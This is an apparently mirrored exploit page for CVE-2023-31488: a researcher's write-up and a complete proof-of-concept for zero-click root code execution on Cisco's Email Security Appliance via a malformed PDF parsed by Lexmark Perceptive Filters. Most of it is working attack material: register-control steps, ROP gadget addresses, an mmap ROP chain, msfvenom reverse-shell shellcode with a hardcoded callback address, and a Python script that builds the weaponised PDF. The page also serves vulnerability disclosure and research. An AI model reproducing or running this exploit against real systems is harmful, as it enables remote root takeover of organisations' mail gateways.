Share
## https://sploitus.com/exploit?id=886A024E-D2B0-5210-BBFD-5CC6819EBFBD
# About

Security researcher: ly1g3, ly1g3[at]tuta.io

GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Overview: Email to zero click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain



CVE: CVE-2023-31488

Timeline:
* Discovered - ly1g3
* Reported - ly1g3
* Fixed - Cisco and Lexmark


# Writeup
While fuzzing the Cisco Email Security Appliance (ESA), I discovered a vulnerability in Lexmark Perceptive Filters, used by the ESA for data sanitization of email attachments, leading to RCE via email. The crash occurs when parsing a modified PDF attachment. By altering a double-digit PDF object ID, for instance:

For example:
```
13 0 obj






Sending this modified PDF in an email to the Cisco ESA causes a segmentation fault crash in `libISYSpdf6.so`. The crash is due to `r14` containing ASCII data.







Closer inspection shows that this data comes from the content of the PDF attachment under our control. The value of `r14` is `Rect`.


Testing when changing `Rect` to `AAAA`.




Since the value of `r14` is loaded from data in the PDF, we can modify it to point at a valid memory address. After this adjustment, another crash occurs due to invalid data in RAX. This data is also ASCII from the PDF. 





We modify the pdf so that `rax` also points to an actual address and proceed further. 


A new crash occurs; now `rsi` contains ASCII data from the PDF. 


We modify the PDF again to load a real memory address.




Finally, we come to a very interesting part of code. Where we control `rdi`, which is used to load a value into `rax`. The final instruction in this sequence is `call rax`. We are now making good progress towards achieving code execution capabilities.



Once again we enter the hex editor and modify the value loaded into `rdi`.



Now we have a way of limited code execution and can jump to a single address. Since ASLR is not present finding memory addresses is easy. We also control `rdi` and therefore use the initial ROP-gadget `libISYSshared.so: push rdi; pop rsp; xor eax, ` to move `rdi` to `rsp` to control the stack. We point the stack to a area we control in the PDF memory region with a custom stack prepped with more rop gadgets.



A FreeBSD reverse-shell shellcode generated by msfvenom is placed the PDF memory region. But since the memory is not executable we first have to make it executable. 
```python
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
```

Since we at this point control the stack this can be done by the following ROP-chain to call to mmap to set the shellcode memory region as RWX.

```python
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
```

After mmap is called `call rsp;` will execute the NOP-sled of our shellcode since the address of the shellcode is next on our custom stack. The shellcode is a msfvenom generated reverse shell. 

A interesting thing is that this code is run before any static antivirus scans so the standard metasploit reverse shell will work just fine.

We can use the POC below to create a working PDF. After this we just send it in a email to the ESA to gain RCE. See my other vulnerabilities for privilege escalation.

And by that gain a remote shell on the ESA:




---

This was a fun project that taught me alot about memory corruption vulnerabilities. It also showcases how good of a protection "modern" memory protection like ASLR is, but also that you can still find non ASLR systems out there.





# Cisco AsyncOS 14.2.0
ESA (Cisco Secure Email) overflow attack. Remote Code Execution as root.

## Variable/Buffer overflow in Lexmark Perceptive Filters
By sending a specially crafted PDF file a overflow causes a attacker to gain Arbitrary Remote Code Execution on the ESA and other products using Lexmark Perceptive Filters.



## Technical
This overflow attack allows the attacker to gain control over a `call rax` instruction which makes it trivial to pivot to arbitrary code execution since no ASLR is used on the ESA. Code will execute as root.


The problem comes from pdf parsing in the `libISYSpdf6.so` library by Lexmark and is caused by calls to the `IGR_Open_File_Ex` function. This function can be traced to the safeprint functions and image_analysis in AMP (Advanced Malware Protection) but the exploit could possibly be triggered using other paths aswell.


### Steps to reproduce:
1. Create pdf containing `Subtype/CIDFontType2/FontDescriptor`. Sample can be found here https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
2. For example:
```
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
```
3. Replace part of the id `13` with an other value (like space) `1 ` resulting in:
```
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
```

4. Send the pdf to the ESA with safeprint or AMP image_analysis enabled

5. This leads to a Segmentation Fault in `libISYSpdf6.so`

```c
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
```
6. This can be escalated to RCE since data loaded in rax will eventually reach:
```c
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
```
7. ROP chain for reverse shell can then be created since ASLR is not used this is trivial





# POC
```python

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

```